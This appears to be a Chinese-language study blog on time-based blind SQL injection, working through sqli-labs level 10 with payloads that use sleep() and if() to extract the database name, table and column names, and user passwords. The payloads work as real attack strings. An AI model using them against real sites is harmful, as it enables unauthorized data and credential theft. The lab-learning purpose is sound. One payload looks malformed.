前言:之前通过前九关学习到了回显注入、报错注入、布尔盲注等一些方法,这次就来详细的学习时间盲注。
在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回显的,一个彻底没有回显,通过构造语句,通过页面响应的时长,来判断信息,这就是时间盲注。
先来学习一下时间盲注所需要的函数1
2
3sleep()/延迟函数
if(condition,true,false)/若条件为真 返回true,若条件为假 返回false
substring("string",strart,length)
主要的也就是这几个了,下面就通过sqli-labs第十关来练习时间盲注
猜测数据库名长度
payload:1
?id=1" and if(length(database())>5,1,sleep(10))--+
这里执行失败的话将睡十秒,能更快的判断,当然也可以将sleep()
函数,放在执行成功的位置。
根据浏览器的反应来判断出数据库名长度(如果是手动注入的话切记网速得好,要不然就好玩了。。。)
爆出数据库名
payload:
1 | ?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+ |
根据浏览器的反应,来猜测出数据库名,其实时间注入就是比布尔盲注多了一个if函数
,sleep()
函数就相当于布尔盲注中的true或false
,其他语句大致都相同。
爆表名
payload:1
?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+
同样也是观察浏览器反应时间,如果没有睡10秒则表名条件正确,继续尝试
爆列名
payload:1
?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+
爆值
payload:1
?id=1" and if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+
可以看出其实时间盲注和布尔盲注语句基本相同,只不过是时间盲注通过if语句来执行sleep函数,从而判断。如果理解了布尔盲注,时间盲注也很好理解。
但还是最好写一下脚本,手工注入效率低且容易出错。这次就先学习到这里,了解了时间盲注,等到脚本能力提高了,自己写出一个脚本跑一下。